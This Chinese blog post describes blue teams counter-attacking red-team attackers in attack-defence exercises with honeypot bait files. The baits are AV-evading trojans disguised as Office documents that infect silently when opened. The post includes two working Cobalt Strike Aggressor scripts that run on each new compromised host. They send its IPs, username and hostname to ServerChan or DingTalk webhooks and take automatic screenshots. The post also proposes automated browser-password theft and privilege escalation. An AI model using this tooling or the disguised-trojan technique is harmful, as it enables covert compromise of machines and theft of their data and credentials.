0x01

前言

現階段藍隊防守不單單僅限制于傳統的ip封禁以及高交互蜜罐的監控以及簡單的身份溯源,紅隊攻擊信息上報以及攻擊方式多樣化,包括參與攻擊的人員不單單限制于上報人員,所以對于藍隊來講溯源難度要匹配紅隊上報信息也是存在一定的難度,所以在攻防演練中藍隊的得分難度相對來說更難一點兒。

0x02 

思路

高交互蜜罐在拖延攻擊時間上來講確實有一定的幫助,有助于寫防守報告,這種在得分上來講還是比較容易匹配到紅隊的"攻擊成果"。

反制蜜罐的目的是拿攻擊者的權限,那么目前只是單純的要拿攻擊隊機器的數據,那么該數據信息獲取途徑或者說證明途徑

  • 截圖,攻擊機截圖
  • 攻擊機瀏覽器存儲賬號密碼
  • 攻擊機瀏覽器歷史記錄

免殺

沒有免殺的馬是沒有意義的,另外僅僅存在免殺的木馬也是沒有意義的。早在今年年初我們團隊其實就已經實現了,從免殺木馬與文件無感知交互的功能,在上線難度來說,點擊即可上線,點擊后的效果就是文件滿足任意文件類型,包括doc、docx、xlsx等,對接高交互蜜罐系統,方便溯源報告,比如下面這種點擊木馬上線后無感知,攻擊者看到的效果就是下圖內容。

優勢

對藍隊來講,只需放餌即可,對于紅隊來講,在攻擊手法上效果更好,無感知中毒。

題外話對于釣魚的弊端來講騰訊、網易這些郵箱廠商,對于郵件的打標簽比較嚴重,批量成為難度,閾值的話自己測試。

0x03

上線提醒

對于藍隊來說,目前實現上線提醒,包括攻擊機上線自動化執行是成為得分的重要環節。那么實現的思路,目前的話我們是從這幾點出發:

  • 提醒的話可以根據日志來實現,CS木馬上線之后log目錄存在日志。可利用python腳本監控日志報警
  • 插件提醒,利用CS插件提醒。微信或者其它攻擊webhook

這里主要說第二種方式。

推薦一個插件。

https://github.com/d3ckx1/CS_Online_reminder/tree/main/weixin

這個腳本中提供了,微信調用提醒,不過可以聯動其它軟件,比如說飛書或者釘釘等其它工具

on beacon_initial {
  sub http_get {    local('$output');    $url = [new java.net.URL: $1];    $stream = [$url openStream];    $handle = [SleepUtils getIOHandle: $stream, $null];      @content = readAll($handle);      foreach $line (@content) {      $output .= $line . "\r\n";    }      println($output);  }  $internalIP = replace(beacon_info($1, "internal"), " ", "_");  $userName = replace(beacon_info($1, "user"), " ", "_");  $computerName = replace(beacon_info($1, "computer"), " ", "_");  $url = 'https://sc.ftqq.com/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.send?text=CobaltStrike%20Online%20Reminder&desp=%0D%0A%0D%0AIP:'.$internalIP.'%0D%0A%0D%0AUserName:'.$userName.'%0D%0A%0D%0AHostName:'.$computerName;    http_get($url);
}

這里利用了方糖的api,需付費使用,說實話能自己調試代碼走釘釘的話,一個月8塊省下了,交互方式如圖

缺點就是花錢,數據經過第三方轉發。不建議使用,非會員的測試數5條

使用需配置key

界面提醒如下

群發的話,接dding

效果如下:

當然參數的話自己選擇,代碼怎么改看自己心情。

0x04

小結

為什么說不建議使用,第一數據經第三方服務端,第二*糖的機制限定

| 單 IP 每天 API 最大請求次數 | 5000 |

| ---------------------------- | ---- |

| 單 UID 每天 API 最大請求次數 | 1000 |

0x05

Tricks

拓展一下,單獨的提醒能滿足一部分需求,但是解決不了藍隊或者紅隊最大的需求,那么如何實現自動化需要考慮一下。

有時間分享一下上線自動化功能,有興趣的可以嘗試一下自動化,不單單指上線提醒自動化,還包含執行自動化,結合前面思路。

下面分享一個Ggoodstudy師傅分享的自動化插件,可以直接調用第三方接口,接釘釘即可。

#---AuthOr:Ggoodstudy---$dt_bot_webhookURL = 'https://oapi.dingtalk.com/robot/send?access_token=xxxxxxxxxxxxxxxxxxx';$targetInfo_txt = " ----存在新上線主機----\n>";$listener_txt = "監聽:";$externalIp_txt = "  \n  公網IP:";$internalIp_txt = "  \n  內網IP:";$computerName_txt = "  \n  主機名:";$userName_txt = "  \n  當前用戶:";on beacon_initial {    local('$internalIP $computerName $userName');    $internalIP = replace(beacon_info($1, "internal"), " ", "_");    $externalIP = replace(beacon_info($1, "external"), " ", "_");    $computerName = replace(beacon_info($1, "computer"), " ", "_");    $userName = replace(beacon_info($1, "user"), " ", "_");    $listennerName = replace(beacon_info($1, "listener"), " ", "_");    #修改睡眠時間    bsleep($1, 10, 10);    $dt_msg = "{\"msgtype\": \"markdown\",\"markdown\": {\"title\":\"新主機上線\",\"text\":'.'\"'.$targetInfo_txt.$listener_txt.$listennerName.$externalIp_txt.$externalIP.$internalIp_txt.$internalIP.$computerName_txt.$computerName.$userName_txt.$userName.'\"'.'}}";    @curl_command = @('curl', '-H', 'Content-Type: application/json', '-d',$dt_msg,$dt_bot_webhookURL);    $process = exec(@curl_command);    binput($1, "printscreen");    bprintscreen($1);    #10s截圖一次    sleep(10 * 1000);    bprintscreen($1);}

所以其它的功能有興趣的師傅可以嘗試一下,比如說自動化爬取瀏覽器存儲賬號密碼以及自動化提權做定時任務,完全是可行的。